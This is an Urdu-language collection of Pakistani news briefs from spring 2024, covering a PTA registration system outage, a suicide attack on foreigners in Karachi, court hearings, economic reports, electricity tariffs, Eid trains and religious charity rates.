پاکستان ٹیلی کمیونیکیشن اتھارٹی ( پی ٹی اے ) کا کہنا ہے کہ ڈیوائس آئیڈنٹیفکیشن رجسٹریشن اینڈ بلاکنگ سسٹم ( ڈی آئی آر بی ایس ) صارفین کے لئے اتوار تک دستیاب نہیں ہوگا۔

پی ٹی اے کی جانب سے کہا گیا کہ رجسٹریشن سسٹم 19 اپریل شام 8:00 بجے سے 21 اپریل بروز اتوار صبح 6:00 بجے تک مینٹیننس کی وجہ غیر فعال رہے گا۔

ریگولیٹر کی طرف سے جاری کردہ آفیشل بیان میں مزید کہا گیا کہ پی ٹی اے کسی بھی قسم کی تکلیف کے لیے معذرت خواہ ہے اور اپنے صارفین کو بغیر کسی رکاوٹ کے تجربہ فراہم کرنے کے لیے پرعزم ہے۔

یاد رہے کہ پی ٹی اے نے ڈیوائس کی شناخت اور اسمگل شدہ موبائل فونز کو بلاک کرنے کے لیے رجسٹریشن اینڈ بلاکنگ سسٹم کا آغاز کیا تھا۔

کچے میں جدید ٹیکنالوجی کی مدد سے شرپسندوں کیخلاف آپریشن کا فیصلہ

وزیرداخلہ محسن نقوی نے کچے کے علاقوں میں جدید ٹیکنالوجی کی مدد سے شرپسندوں کیخلاف آپریشن کا فیصلہ کیا ہے ۔
وزیر داخلہ محسن نقوی کی زیر صدارت نیکٹا ہیڈکوارٹر میں نیشنل ایکشن پلان عمل درآمد جائزہ کمیٹی کا اجلاس ہوا جس میں وفاقی سیکرٹری داخلہ، سربراہ نیکٹا، ڈی جی ایف آئی اے اور سیکرٹری داخلہ بھی شریک ہوئے۔ اجلاس میں پنجاب، سندھ، خیبرپختونخوا، بلوچستان، آزاد کشمیر، گلگت بلتستان اور اسلام آباد کے آئی جیز نے بھی شرکت کی۔نیشنل کوآرڈینٹر نیکٹا، نیشنل ایکشن پلان اور انٹیلی جنس اداروں کی ٹیم اور چیف کمشنرز بھی اجلاس میں شریک ہوئے۔
اجلاس اعلامیے کے مطابق سندھ اور پنجاب کے کچے کے علاقے میں مشترکہ آپریشن کرنے کا فیصلہ کیا گیا۔

وزیر داخلہ محسن نقوی کا کہنا تھا کچے کے علاقوں سے شرپسندعناصر کا مشترکہ آپریشن سے مستقل خاتمہ کیا جائے گا اور کچے کے علاقوں میں مشترکہ آپریشن کیلئے ڈرونز سمیت جدید ٹیکنالوجی کو استعمال میں لایا جائے گا۔ اجلاس میں پاکستان بھر میں پولیس کو جدید ٹیکنالوجی دینے کے بارے میں بریفنگ دی گئی اور پورے پاکستان کی پولیس کو نئی ٹیکنالوجی فراہم کرنے کے لیے تفصیلی مشاورت ہوئی۔
اجلاس میں چینی شہریوں کی سکیورٹی کے بارے میں کیے گئے اقدامات کا جائزہ لیا گیا اور تمام آئی جیز نے چینی شہریوں کی سکیورٹی اور حفاظت کے اقدامات پر تفصیلی بریفنگ دی۔اس کے علاوہ اجلاس میں ایرانی صدر کے دورے کے دوران اسلام آباد، کراچی اور لاہور میں سکیورٹی کے فول پروف انتظامات کا جائزہ بھی لیا گیا۔
وزیر داخلہ محسن نقوی کا کہنا تھا پولیس سمیت تمام سیکیورٹی ادارے چینی شہریوں کی حفاظت کے ایس او پیز پر 100 فیصد عملدرآمد یقینی بنائیں، غیر ملکی شہریوں کی حفاظت کے ایس او پیز پر عملدرآمد میں غفلت پر سخت تادیبی کارروائی کی جائے گی۔
محسن نقوی کا کہنا تھا اسمگلنگ کی روک تھام کے لیےگزشتہ چند ماہ میں اچھی پیشرفت ہوئی اور اس میں خاطر خواہ کمی آئی ہے، تمام ادارے مشترکہ حکمت عملی سے اسمگلرز کے خلاف سخت قانونی کارروائی کو یقینی بنائیں۔

کراچی: غیر ملکی شہریوں کی گاڑی کے قریب دھماکا، 2 افراد ہلاک

کراچی کے علاقے لانڈھی کی مانسہرہ کالونی میں غیر ملکی شہریوں کی گاڑی کے قریب دھماکا ہوا، جس کے نتیجے میں 2 افراد ہلاک اور 2 سیکیورٹی گارڈ زخمی ہوگئے ہیں۔

حکام کے مطابق غیر ملکی شہریوں کی گاڑی پر خودکش حملہ ہوا ہے، دھماکے کے بعد پولیس اور ریسکیو ٹیمیں جائے واقعہ پر پہنچ گئی ہیں اور زخمیوں کو اسپتال منتقل کردیا گیا۔

آئی جی سندھ کا کہنا ہے کہ 5غیرملکی ہائی روف میں سفرکررہے تھے،تمام محفوظ ہیں، دونوں ہلاک افراد ممکنہ طورپرحملہ آور تھے۔ حکام کا کہنا ہے کہ حملہ 2گاڑیوں پرکیا گیا ہے، ایک گاڑی پرغیرملکی شہری جو کمپنی کا ایم ڈی ہے موجود تھا، پیچھے آنے والی وین میں4غیرملکی باشندے موجود تھے۔

پولیس کے مطابق ، مرنے والا ایک خودکش حملہ آور، دوسراحملہ آور پولیس کی فائرنگ سے مارا گیا۔ واقعہ میں2حملہ آور ہلاک،2سیکیورٹی گارڈ سمیت3 افراد زخمی۔ جاں بحق ہونے والوں کی عمر30اور35سال ہے، زخمیوں میں45سالہ نورمحمد اور 45سالہ لنگرخان شامل ہیں۔

موقع پر موجود ایک پولیس اہلکار کا کہنا ہے کہ واقعہ ملیر شرافی گوٹ تھانے کی حدود میں پیش آیا، قریب ہی ہماری پوزیشن تھی،دھماکے کی آوازآئی، کچھ سیکنڈ کے بعد فائرنگ کی بھی آوازیں آئیں، ایک دہشت گرد کے پاس رائفل، 2میگزین، ایک گرنیڈ کا تھیلا تھا۔ انہوں نے مزید کہا کہ دہشت گرد نے ہمیں دیکھتے ہی فائرنگ شروع کردی، ہم نے جوابی فائرنگ میں دہشت گرد ماردیا۔

ڈی آئی جی ایسٹ اظفر مہیسر کا کہنا ہے کہ غیرملکی باشندوں کونشانہ بنائےجانےکی اطلاعات تھیں، سیکیورٹی گارڈ نے بہادری کا مظاہرہ کیا، جائے وقوعہ سے ایک موٹرسایئکل ملی، بظاہرحملہ آور پیدل آئے یا انہیں ڈراپ کیا گیا تھا، ایک تھیلے سے کچھ تعداد میں ہینڈ گرنیڈ ملے ہیں۔

سندھ میں سرکاری ملازمتوں پر پابندی سے متعلق کیس کی سماعت 13 مئی تک ملتوی

سندھ ہائیکورٹ نے سندھ میں سرکاری ملازمتوں پر پابندی سے متعلق کیس کی سماعت 13 مئی تک ملتوی کردی۔

سندھ میں سرکاری ملازمتوں پر پابندی سے متعلق کیس کی سماعت سندھ ہائیکورٹ میں ہوئی جہاں طرفین کے وکیل پیش نہ ہوئے جبکہ سرکاری وکیل عدالت میں حاضر تھے ۔

دوران سماعت عدالت کا کہنا تھا کہ اگر بھرتیاں قانونی تھیں تو متعدد ڈپٹی کمشنرز نے یہ کام کرنے سے انکار کیوں کیا؟ کیا ہم یہ بھی بتائیں کہ کس کا ڈپٹی کمشنر نے ایسا کرنے سے منع کیا ؟ یہ کیا طریقہ ہے کہ حکومت جاتے جاتے نوکریاں بانٹتی جائے؟ جائیں ڈپٹی کمشنر کے دفتر اور بلینک اپائنٹمنٹ لیٹر لے لیں۔

عدالت نے سوال اٹھایا کہ کیا اب سیاسی کارکن کا کام نوکریاں بیچنا رہ گیا ہے؟، میں فلاں تعلقے کا سیکرٹری ہوں مجھے دس نوکریاں دیدیں، میں صدر ہوں مجھے پندرہ دے دیں۔

عدالت کا کہنا تھا کہ اگر معاشرے کو بہتر کرنا ہے تو ہر ایک کو اسکا حصہ دینا ہوگا، اگر یہ سوچ لیا ہے کہ ہمارے بچے باہر پڑھیں گے اور وہیں رہیں گے تو دوسری بات ہے، اگر وطن چھوڑنا نہیں چاہتے تو میرٹ کو اپنائیں۔

سرکاری وکیل کا کہنا تھا کہ عدالت نے سرکاری نوکری دینے کے لیے جو ایس او پیز مقرر کیے ہیں ان کے مطابق کارروائی کی اجازت دی جائے۔

عدالت نے اپنے ریمارکس میں کہا کہ نئی حکومت کی تشکیل ہوچکی ہے، اگر شفاف طریقے سے ملازمتیں دی جائے تو کوئی اعتراض نہیں۔

عدالت نے ایم کیوایم کی درخواست پر اگست 2023 میں سندھ میں سرکاری ملازمتوں پر حکم امتناع جاری کیا تھا ۔

عدالت کا ریمارکس میں کہنا تھا کہ آپ سمجھتے ہیں ہم کمروں میں بیٹھے ہیں ہمیں کچھ خبر نہیں ، ہمیں نام، آسامیوں کی تفصیلات سمیت خطوط موصول ہوتے ہیں، محکمہ تعلیم میں این ٹی ایس پاس کرنیوالوں کو دس سال سے نوکریاں نہیں ملیں۔

پاکستانی معیشت درست سمت پر گامزن، مہنگائی کم ہوگی: یواین اکنامک سروے

اقوام متحدہ کی جانب سے جاری کیے گئے اقتصادی سروے میں بتایا گیا ہے کہ پاکستان کی معاشی ترقی میں تیزی آئی ہے، اس کے علاوہ مہنگائی کم ہونے کی بھی پیشگوئی کی گئی ہے۔

یو این اکنامک سروے میں بتایا گیا ہے کہ مالی سال 25-2024 کے دوران پاکستان معاشی طور پر ترقی کررہا ہے اور اگلے مالی سال میں اس کی حقیقی شرح نمو میں 2 فیصد سے زیادہ اضافہ ہوگا۔
سروے میں کہا گیا ہے کہ مالی سال 2025 میں مہنگائی کی شرح 12.2 فیصد ہو جائے گی۔

یواین اکنامک سروے کے مطابق پاکستانی معیشت کو سیاسی عدم استحکام نے متاثر کیا، جبکہ 2022 میں آنے والے سیلاب کی وجہ سے زرعی پیدوار متاثر ہوئی۔

سروے میں کہا گیا ہے کہ 2023 میں آئی ایم ایف سے ہونے والے معاہدے کے باعث معیشت میں بہتری آنا شروع ہوئی۔

اکنامک سروے کے مطابق حکومت کی جانب سے توانائی کے شعبے میں سبسڈیز ختم کرنے سے معیشت بہتری کی طرف آئی۔ جبکہ جی ڈی پی کے لحاظ سے ٹیکس کی شرح کم ہے۔

سروے میں کہا گیا ہے کہ ایشیا پیسیفک کے ترقی پذیر ممالک کو مناسب اورطویل المدتی وسائل کی ضرورت ہے، کیونکہ ترقی پذیر ممالک کو زیادہ شرح سود پر لیا گیا قرض اتارنے کے علاوہ عوام پر وسائل خرچ کرنے کی حکمت عملی بھی ترتیب دینا ہوتی ہے۔

واضح رہے کہ اس سے قبل ورلڈ بینک اور بلوم برگ بھی اپنی رپورٹس میں بتا چکے ہیں کہ پاکستانی معیشت بہتری کی طرف جا رہی ہے۔

حکومت ایس آئی ایف سی کے پلیٹ فارم سے سرمایہ کاروں کو راغب کررہی ہے، جبکہ خسارے میں چلنے والے اداروں کی نجکاری کا حتمی فیصلہ بھی ہوچکا ہے جس کا آغاز پی آئی سے ہونے جارہا ہے

کراچی: شہری کے اغوا میں ملوث سی ٹی ڈی کے 4 اہلکار گرفتار

شہر قائد میں شہری کے اغوا اور تشدد میں ملوث پائے گئے محکمہ انسداد دہشتگردی (سی ٹی ڈی) کے 4 اہلکاروں کو گرفتار کر لیا گیا۔

ڈی آئی جی آصف اعجاز نے میڈیا سے گفتگو میں کہا کہ شہری کے اغوا اور تشدد میں ملوث سی ٹی ڈی کے چاروں اہلکاروں کو ایس آئی یو نے گرفتار کر لیا ہے۔

انہوں نے کہا کہ چاروں اہلکاروں کو سی ٹی ڈی گارڈن کے دفتر سے گرفتار کیا گیا، چاروں پولیس اہلکار واقعے میں ملوث پائے گئے تھے۔

گرفتار اہلکاروں نے 2 شہریوں کو غیرقانونی طور پر حراست میں لیا تھا اور 4 لاکھ روپے وصول کیے تھے۔
شہری کی مدعیت میں ٹیپو سلطان تھانے میں مقدمہ درج کیا گیا تھا جس میں پولیس اہلکاروں کی جانب سے شہری سے 4 لاکھ روپے وصول کیے جانے کی شکایت درج کرائی گئی تھی۔

گزشتہ سال دسمبر میں پنجاب کے شہر ملتان میں بھی شہری کو اغوا کر کے تاوان وصول کرنے کا واقعہ سامنے آیا تھا۔ اہلکاروں نے شہری کو اغوا کر کے اہلخانہ کو دھمکیاں دیں اور 2 کروڑ روپے تاوان طلب کیا تھا۔

پاکستان بھر میں موبائل فونز کی قیمتوں میں 10 ہزار روپے تک کی کمی

ملک بھر میں عید الفطر سے قبل موبائل فون بنانے والی ملکی اور غیر ملکی تمام کمپنیوں نے قیمتوں میں 400 روپے سے لے کے 10 ہزار روپے تک کی کمی کر دی۔

موبائل فون ایسوسی ایشن کے ذرائع کے مطابق تمام پاکستان میں موبائل فون بیچنے والی غیر ملکی اور ملکی کمپنیوں نے اسمارٹ موبائل فون کی قیمتوں میں نمایاں کمی کی ہے۔ بٹنوں والے فون جس میں فیچرز فونز بھی شامل ہیں اس میں بھی 100 روپے سے لے کے 500 روپے تک کی کمی دیکھی گئی ہے۔

ذرائع کا کہنا ہے کہ موبائل فون کمپنیوں کے سیلز ٹارگٹ پورے نہیں ہو رہے جس کے باعث قیمتوں میں کمی کی جا رہی ہے۔ اسی طرح پاکستان میں موبائل فونز بنانے کی تعداد میں بھی اضافہ کیا گیا ہے۔
موبائل فون کمپنیوں کے نمائندوں کی جانب سے بھی یہ تصدیق کی گئی ہے کہ قیمتوں میں کمی کرکے پاکستانی مارکیٹ میں موبائل فون انڈسٹری کو استحکام پہنچانے کی کوشش کی جا رہی ہے۔

خیال رہے کہ سابق نگران وفاقی وزیر آئی ٹی ڈاکٹر عمر سیف نے رواں سال اپنے ایک بیان میں اس بات کی طرف اشارہ کیا تھا کہ پاکستان میں موبائل فونز کی تیاری سے قیمتوں میں کمی آئے گی۔

وزیراعظم شہباز شریف کا ججوں کو ملنے والے دھمکی آمیز خطوط کی تحقیقات کرانے کا اعلان

وزیراعظم پاکستان شہباز شریف نے سپریم کورٹ اور ہائیکورٹس کے ججوں کو ملنے والے دھمکی آمیز خطوط کی تحقیقات کرانے کا اعلان کردیا۔

کابینہ اجلاس سے خطاب کرتے ہوئے وزیراعظم پاکستان نے کہاکہ ججوں کو جو دھمکی آمیز خطوط موصول ہورہے ہیں، حکومت اس معاملے پر اپنی ذمہ داریاں پوری کرےگی۔
وزیراعظم نے کہاکہ اسلام آباد ہائیکورٹ کے ججوں کی جانب سے لکھے گئے خط کے معاملے پر گیند اب عدالت کی کورٹ میں ہے، کیونکہ حکومت کی جانب سے جو کمیشن تشکیل دیا گیا تھا اس کے سربراہ نے معذرت کرلی ہے۔

انہوں نے کہاکہ سپریم کورٹ کے چیف جسٹس نے معاملے پر ازخود نوٹس لے لیا اور اس پر ایک سماعت بھی ہوچکی ہے۔
اس موقع پر وزیر اعظم پاکستان شہباز شریف نے مطلع کیاکہ رواں ماہ پاکستان کو آئی ایم ایف کی آئندہ قسط موصول ہوجائے گی، تاہم اسی کے ساتھ ہی انہوں نے خبردار کیا ہے کہ آئی ایم ایف پروگرام کی شرائط آسان نہیں ہوں گی۔

حافظ نعیم الرحمن جماعت اسلامی کے نئے امیر منتخب

جماعت اسلامی کراچی کے امیر حافظ نعیم الرحمن نئے امیر جماعت اسلامی پاکستان منتخب ہوگئے۔

منصورہ میں پریس کانفرنس کرتے ہوئے جماعت اسلامی الیکشن کمیشن کے سربراہ راشد نسیم نے نئے امیر جماعت اسلامی حافظ نعیم الرحمن کے نام کا اعلان کیا۔

راشد نسیم کا کہنا تھا کہ ہر پانچ سال بعد جماعت اسلامی کے انتخابات ہوتے رہے ہیں ، جماعت اسلامی کے امارت کا یہ انیسواں انتخاب ہے ۔

انہوں نے بتایا کہ 22 فیصد اراکین نے امیر کے الیکشن میں حصہ لیا ہے ۔

راشد نسیم کا کہنا تھا کہ اگر کسی کو الیکشن کا رزلٹ پسند نا آئے تو یہ نہیں ہوسکتا کہ الیکشن کمیشن کی چھٹی کردی جائے۔ جماعت اسلامی کا الیکشن کمیشن صرف جماعت اسلامی کی شوری کو جوابدہ ہے، نئے امیر جماعت اسلامی کی مدت 2024 سے 2029 تک ہوگی

اسٹاک ایکسچینج میں نئی تاریخ رقم ، پہلی بار 68 ہزار کا سنگ میل عبور کر لیا

پاکستان اسٹاک ایکسچینج میں نئی تاریخ رقم ، 100 انڈیکس نے پہلی بار 68 ہزار پوائنٹس کا سنگ میل عبور کر لیا۔

کاروباری ہفتے کے چوتھے روز بھی اسٹاک ایکسچینج میں زبردست تیزی رہی ، کے ایس ای کے 100 انڈیکس میں 532 پوائنٹس کا اضافہ ریکارڈ کیا گیا جس کے بعد انڈیکس 68 ہزار 288 پوائنٹس پر پہنچ گیا۔

گزشتہ روز کاروبار کے اختتام پر اسٹاک مارکیٹ 67 ہزار 756 پوائنٹس پر بند ہوئی تھی۔
دوسری جانب روپے کے مقابلے میں ڈالر کی قیمت میں کمی ہو گئی ، انٹر بینک میں ڈالر 12 پیسے سستا ہو کر 277 روپے 80 پیسے پر آ گیا۔

بدھ کو کاروبار کے آغاز پر ڈالر کی قیمت میں کمی ریکارڈ کی گئی تاہم دن کے اختتام پر قدر بڑھنے کے بعد ڈالر کا ریٹ 277 روپے 92 ییسے پر بند ہوا تھا۔

اسپیشل عید ٹرینوں کے کرایوں میں کمی پر غور کر رہے ہیں، سی ای او ریلوے

سی ای او ریلوے عامر علی بلوچ نے کہا ہے کہ اسپیشل عید ٹرینوں کے کرایوں میں کمی پر غور کر رہے ہیں۔

سی ای او ریلوے عامر علی بلوچ نے کہا ہے کہ اسپیشل عید ٹرینوں کے کرایوں میں کمی پر غور کر رہے ہیں، عید پر رش کے پیش نظر بعض ٹرینوں میں ایکسٹرا کوچز لگائیں گے، تنخواہوں میں تاخیر کا خاتمہ کر دیا، گریجویٹی اور پنشن کی جلد ادائیگی پر توجہ دے رہے ہیں۔

فیس بک ای کچہری میں مسافروں کے سوالات کا جواب دیتے ہوئے انھوں نے کہا کہ گرین لائن کے اسٹاپس بڑھانے سے لمبی منزل کے مسافر تنگ ہونگے، بعض ٹرینوں کی اے سی سلیپر کوچز میں اضافہ کریں گے۔

بجلی 2 روپے 75 پیسے فی یونٹ مہنگی کردی گئی

نیشنل الیکٹرک پاور ریگولیٹری اتھارٹی ( نیپرا ) نے بجلی کمپنیوں کے صارفین کیلیے دوسری سہ ماہی ایڈجسٹمنٹ کی مد میں بجلی کے نرخ 2 روپے 75 پیسے فی یونٹ بڑھانے کی منظور دے دی، فیصلے سے صارفین پر 40ارب روپے کا اضافہ بوجھ پڑے گا۔

نیپرا کے مطابق ڈیٹا کی جانچ پڑتال کے بعد ڈسکوز کے مالی سال 24-2023 کی دوسری سہ ماہی ایڈجسٹمنٹ کی منظوری دی گئی ہے جس کا اطلاق اپریل، مئی اور جون 2024 کے ماہ کے بلوں پر ہوگا۔

نیپرا کے فیصلے سے کے الیکٹرک سمیت بجلی کی تمام تقسیم کار کمپنیوں ( ڈسکوز) کے صارفین کو دوسری سہ ماہی ایڈجسٹمنٹ کی مد میں اپریل، مئی اور جون کے بلوں میں 2 روپے 75 پیسے فی یونٹ زائد ادا کرنے ہوں گے۔
نیپرا کے مطابق ڈسکوز نے نیپرا کوسہ ماہی ایڈجسٹمنٹس کی درخواست دی تھی جس پر اتھارٹی نے 14 فروری کو عوامی سماعت کی تھی۔

نیپرا کا کہنا ہے کہ اس سے قبل صارفین سے2 سہ ماہی ایڈجسٹمنٹس کی مد میں 4 روپے 43 پیسے فی یونٹ چارج کیا جا رہا تھا جو کہ مارچ 2024 تک تھا، صارفین کوگزشتہ سہ ماہی ایڈجسٹمنٹس کی نسبت اس سہ ماہی ایڈجسٹمنٹ کی مد میں 1 روپے 68 پیسے کم چارج کیا جائے گا۔

نیپرا کے مطابق اس فیصلے کا اطلاق ڈسکوز اور کے الیکٹرک کے تمام صارفین ماسوائےلائف لائن صارفین پر ہوگا۔

گلیشئیر پگھلنے سے متعدد ہوٹل تباہ،راستے بند

ادی کاغان کےسیاحتی مقام جھیل سیف الملوک کے قریب برفانی گلیشیئر گرنے سے متعدد ہوٹل منہدم ہو گئے۔

تفصیلات کے مطابق ناران سے سیف الملوک جھیل جانے والی روڈپر بھاری برفانی گلیشئر گرجانے کے باعث کئی ہوٹل دب گئے ہیں ،اس کے علاوہ ہوٹلوں کی عمارتوں کو نقصان بھی پہنچنے کی اطلاعات ہیں۔
ڈائریکٹر جنرل کاغان ڈویلپمنٹ کے مطابق ناران کے راستے برفباری کے باعث بند ہیں اس لئے نقصانات کی مصدقہ تفصیلات نہیں مل سکیں، جب تک ٹیم موقع پر نہیں پہنچتی کچھ کہنا قبل از وقت ہوگا۔

انہوں نے بتایا کہ صورت حال کے پیش نظر ڈی اے کا ہنگامی اجلاس کل طلب کیا گیا ہے، نقصانات کا جائزہ لینے کے لیے کمیٹی تشکیل دی ہے، متاثرین کے ساتھ ہر ممکن تعاون کریں گے۔

ڈی جی کا کہنا تھاکہ ناران روڈ بحال ہونے کے فوری بعد متاثرہ افراد کی بحالی میں مدد کریں گے ، ناران میں درجنوں ہوٹلز کے گلیشئر کی زد میں آکر تباہ ہونے کی اطلاعات ملی ہیں، تحصیل انتظامیہ اور محکمہ مال کے ساتھ ملکر ابتدائی معلومات لے رہے ہیں۔

عازمینِ حج کی لازمی تربیت کا دوسرا مرحلہ عید الفطر کے بعد شروع ہوگا

وزارت مذہبی امور نے عازمینِ حج کی لازمی تربیت کا دوسرا مرحلہ عید الفطر کے بعد شروع کرنے کا اعلان کردیا۔

ترجمان وزارت مذہبی امور کے مطابق عازمین حج کی لازمی تربیت کا دوسرا مرحلہ عید الفطر کے بعد شروع کیا جائے گا جبکہ مجوزہ امتحان میں کامیاب نہ ہونے کی صورت میں دوبارہ تربیتی سیشن دلوانے کی تجویز بھی زیر غور ہے۔

ترجمان نے بتایا کہ چیف حج ٹرینر احمد ندیم خان کی زیرصدارت اہم اجلاس میں طے پایا کہ دوسرے مرحلے میں تمام صوبوں کے بڑے شہروں میں حج تربیت کااہتمام کیا جائے گا۔

حج تربیت گاہوں میں وادی منیٰ کی طرز کے ماڈل کیمپ لگائے جائیں گے اور تمام عازمینِ حج کیلئے کم ازکم دو تربیتی ورکشاپس میں شرکت لازم ہے۔

ترجمان نے مزید بتایا کہ سمندر پار پاکستانی حج کیلئے روانگی سے قبل حاجی کیمپ سے تربیت حاصل کریں گے۔

وزیراعظم کی زیر صدارت ایپکس کمیٹی کا اجلاس ، ملکی مفاد میں سخت فیصلے لینے کے عزم کا اظہار

وزیراعظم شہبازشریف کی زیر صدارت خصوصی سرمایہ کاری سہولت کونسل کا اجلاس ہوا جس کا اعلامیہ جاری کر دیا گیاہے ، اجلاس میں سابق نگران وزیراعظم انوار الحق کاکڑ، آرمی چیف جنرل عاصم منیر ، سبکدوش اور نئی وفاقی کابینہ ، وزرائے اعلیٰ اور دیگر سرکاری افسران نے شرکت کی ۔ کمیٹی کو ایس آئی ایف سی کے اقدام اور ملک میں سرمایہ کاری پر بریفنگ دی گئی ۔

اجلاس کے دوران شہبازشریف نے خطاب کرتے ہوئے کہا کہ مشکل وقت میں ایس آئی ایف سی آگے بڑھنے کا راستہ ہے، ملک کی خدمت کےلیےایسےفولادی عزم کی ضرورت ہےجوپہلےکبھی نہیں تھی، معاشی استحکام کی رفتار کو برقرار رکھنے کیلئے ایک مربوط ٹیم کے طور پر کام کریں۔ وزیراعظم نے وفاقی کابینہ کو سیاسی اختلافات ایک طرف رکھنے کی ہدایت بھی کی ۔

اجلاس کے دوران آرمی چیف جنرل عاصم منیر نے ملکی معیشت کی بحالی کے اقدامات میں بھر پور حمایت اور معاونت کے عزم کا اظہار کیا ، انہوں نے ایپکس کمیٹی کی 2023 میں ایس آئی ایف سی کی لانچنگ پر وزیراعظم کی لیڈر شپ کی کھل کر تعریف بھی کی اور ملک کودرپیش چیلنجز سے نکلنے کیلئے ایپکس کمیٹی نے اتفاق رائے سے آگے بڑھنے پر زور دیا ۔ایپکس کمیٹی نے پالیسیوں کے تسلسل اور ملکی مفاد میں سخت فیصلے لینے کے بھی عزم کا اظہار کیا ۔

پاکستان ریلوے کاعید الفطر پہ چار خصوصی ٹرینیں چلانے کا فیصلہ

پاکستان ریلوے نے عید الفطر پر چار خصوصی ٹرینیں چلانے کا فیصلہ کیا ہے۔

پاکستان ریلوے کے مطابق لاہور،کراچی،پشاوراورکوئٹہ سےعیداسپیشل ٹرینیں چلائی جائیں گی،پٹرول کی قیمتوں میں کمی ہوئی توہم بھی عیدپرکرائےکم کریں گے۔

سی ای او ریلویز نے عیداسپیشل ٹرینیں چلانے کےلیےانتظامات کی ہدایات بھی کردیں ہیں۔

ریاض، آرمی چیف جنرل عاصم منیر کی سعودی ولی عہد محمد بن سلمان سے ملاقات

آرمی چیف جنرل عاصم منیر نے سعودی دارالحکومت ریاض میں سعودی ولی عہد شہزادہ محمد بن سلمان سے ملاقات کی ہے، دونوں نے پاک سعودی اسٹریٹیجک تعلقات اور تعاون کو بڑھانے پر اتفاق کیا۔
جنرل عاصم منیر اور محمد بن سلمان کی ملاقات کے موقع پر سعودی وزیر دفاع شہزادہ خالد بن سلمان اور سعودی سفیر نواف المالکی بھی موجود تھے۔
آئی ایس پی آر کے مطابق آرمی چیف عاصم منیر نے وزیردفاع شہزادہ خالد بن سلمان اور سعودی مسلح افواج کے چیف آف جنرل اسٹاف سے بھی ملاقات کی۔
آرمی چیف کی جنرل فیاض بن حمد الرویلی سے ملاقات میں باہمی دلچسپی کے امورپر تبادلہ خیال کیا گیا، وزیردفاع اور عسکری قیادت سے ملاقات میں علاقائی امن و سلامتی، دفاعی اورسکیورٹی تعاون سمیت باہمی دلچسپی کے وسیع تر امور پر تبادلہ خیال کیا گیا۔
ملاقات میں سعودی ولی عہد شہزادہ محمد بن سلمان نے کہا کہ سعودی عرب اور پاکستان کے تاریخی برادرانہ اور مضبوط تعلقات ہیں، دونوں ممالک ہمیشہ ایک دوسرے کے ساتھ کھڑے رہے ہیں۔
سعودی ولی عہد محمد بن سلمان نے دوطرفہ تعلقات کو مزید مضبوط بنانے کی خواہش کا بھی اظہارکیا، ولی عہد کا کہنا تھا کہ سعودی عرب مستقبل میں بھی ہمیشہ پاکستان کے ساتھ کھڑا رہے گا۔
آرمی چیف جنرل عاصم منیر نے پاکستان کے لیے گرمجوشی کے جذبات اور حمایت پر سعودی قیادت کا شکریہ ادا کیا۔

پاکستانی برآمدات میں 8 ماہ کے دوران ایک ارب 69 کروڑ ڈالر سے زائد اضافہ

پاکستانی برآمدات میں 8 ماہ کے دوران ایک ارب 69 کروڑ ڈالر سے زائد اضافہ ریکارڈ کیا گیا جولائی سے فروری برآمدات کا حجم 20 ارب 26 کروڑ ڈالر رہا۔

ادارہ شماریات پاکستانی برآمدات میں 8 ماہ کے دوران 1 ارب 69 کروڑ ڈالر سے زائد اضافہ ہوا ہے۔ خوراک کی برآمدات 54 فیصد اضافے سے چار ارب 96 کروڑ ڈالر تک پہنچ گئیں۔

رپورٹ کے مطابق اس عرصے کے دوران صرف فروری 2024 میں فوڈ ایکسپورٹ 35 فیصد اضافے سے 70 کروڑ ڈالر رہی، پاکستانی باسمتی چاول، گوشت، پھل، سبزی، تمباکو، مصالحوں کی مانگ میں اضافہ ہوا۔

خام کپاس، گندم، کینوس شوز، پنکھوں، ٹرانسپورٹ سامان کی برآمدات میں اضافہ دیکھا گیا، جیولری، چینی، سیمنٹ، ٹائر، ٹیوبز اور گڑ سے بنی مصنوعات کی برآمدات بڑھ گئی۔

سرکاری اعداد وشمار کے مطابق جولائی سے فروری انجینرنگ گڈز، الیکٹریل سامان کی ایکسپورٹ میں بھی اضافہ ریکارڈ کیا گیا، پاکستانی ٹیکسٹائل برآمدات 0.65 فیصد کمی سے 11 ارب ڈالر ریکارڈ کی گئیں۔ گزشتہ مالی سال اسی مدت میں ٹیکسٹائل برآمدات کا حجم 11 ارب 21 کروڑ ڈالررہا تھا۔

مفتی منیب الرحمن نے صدقہ فطر، فدیہ صوم اور کفارہ صوم کا اعلان کردیا

رویت ہلال کمیٹی کے سابق چیئرمین مذہبی اسکالر مفتی منیب الرحمان نے فطرہ، فدیہ صوم اور کفارہ صوم کا اعلان کردیا ہے۔
مفتی منیب الرحمان نے کہا کہ گندم کا آٹا دو کلو، فطرہ اور ایک روزے کا فدیہ 300روپے ہے، صدقہ فطر اور فدیے کی کم از کم مقدار 300 روپے فی کس ہے، اہلِ ثروت اپنی مالی حیثیت کے مطابق فطرہ، فدیہ اور کفّارہ ادا کریں۔
اسی طرح جو مسلمان ‘جو’، ‘کھجور’، ‘کشمش’ اور ‘پنیر’ کے حساب سے فطرہ ادا کرنا چاہتے ہیں ان کے لیے نصاب کچھ اس طرح ہے۔
اعلامیے کے مطابق ، جَو(چارکلو) فطرہ اور ایک روزے کا فدیہ 600روپے ہے، کھجور(چار کلو) فطرہ اور ایک روزے کا فدیہ 2400روپے ہے، کشمش ( چار کلو) فطرہ اور ایک روزے کا فدیہ 4400روپے ہے۔
مفتی منیب کا کہنا ہے کہ روزہ توڑنے کا کفارہ60مساکین کو دووقت کا کھانا کھلانا ہے، گندم کا آٹا دوکلو(چکی والا) 18,000روپے، جَو چار کلو 36,000روپے، کھجور (چار کلو) 144,000روپے اور کشمش ( چار کلو) 2,64,000روپے ہے۔
اعلامیے کے مطابق گندم کے حساب سے یہ فطرہ، فدیہ اور کفارات کی کم سے کم رقم ہے، جن حضرات کو اللہ تعالیٰ نے رزق میں کشادگی عطا کی ہے وہ اپنی مالی حیثیت کو پیش نظر رکھتے ہوئے جو، کھجور، کشمش یا پنیر کے حساب سے فطرہ، فدیہ اور کفارات ادا کریں۔
واضح رہے کہ صدقہ فطر عید کی نماز سے قبل ادا کرنا ضروری ہے جبکہ گھر کے سربراہ کو اپنے پیاروں یعنی بیوی اور بچوں وغیرہ کا فطرانہ بھی ادا کرنا ہوگا۔

وزیراعظم شہبازشریف کا کابینہ کے اراکین کے ہمراہ جی ایچ کیوکا دورہ

وزیراعظم شہبازشریف نے وفاقی کابینہ کے اراکین کے ہمراہ جی ایچ کیو کا دورہ کیا جس دوران آرمی چیف جنرل عاصم منیر نے شہبازشریف کا استقبال کیا ۔
